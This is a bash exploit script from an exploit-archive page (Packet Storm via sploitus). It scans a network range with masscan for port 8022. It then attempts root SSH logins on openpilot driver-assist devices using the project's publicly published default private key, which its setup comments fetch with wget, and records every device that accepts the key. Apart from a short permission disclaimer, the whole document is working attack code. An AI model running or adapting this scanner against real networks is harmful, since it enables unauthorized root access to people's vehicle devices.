Share
## https://sploitus.com/exploit?id=PACKETSTORM:160735
#!/bin/bash  
#  
# openpilot-scan.sh  
#  
# Jeremy Brown [jbrown3264/gmail]  
# Dec 2020  
#  
# Checks for openpilot devices using the default SSH key  
#  
# Setup  
# > apt-get install -y masscan && setcap cap_net_raw=ep /usr/bin/masscan  
# > wget -q https://raw.githubusercontent.com/commaai/openpilot/master/tools/ssh/id_rsa  
# > chmod 600 id_rsa  
#  
# Example  
# > ./openpilot-scan.sh 10.100.100.1/24  
#  
# Disclaimer  
# This script will port scan and attempt login to SSH servers which accept a  
# given key. Use it at your own risk, no guarentees, only scan your own network  
# or those that you have permission to scan. You assume full responsibility  
# for any use or execution of these tools, authorized entry or otherwise actions.  
#  
  
KEY="id_rsa"  
MATCH_IP='[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'  
MASSCAN_LOG="masscan.log"  
SCAN_LOG="scan.log"  
FOUND_FILE="found.txt"  
SSH_PORT=8022  
USER="root"  
  
if [ $# -ne 1 ]; then  
echo "usage: ./openpilot-scan.sh ra.n.g.e/24"  
exit 1  
fi  
  
# scan  
masscan --open -p $SSH_PORT -oL $MASSCAN_LOG $1 >/dev/null 2>&1  
  
# parse  
grep -ohP "$MATCH_IP" $MASSCAN_LOG > $SCAN_LOG  
  
# check  
while read IP  
do  
ssh $USER@$IP \  
-p $SSH_PORT \  
-o batchmode=yes \  
-o StrictHostKeyChecking=no \  
-T -i $KEY >/dev/null 2>&1  
  
if [ $? -ne 255 ]; then  
echo $IP  
echo $IP >> $FOUND_FILE  
fi  
  
done < $SCAN_LOG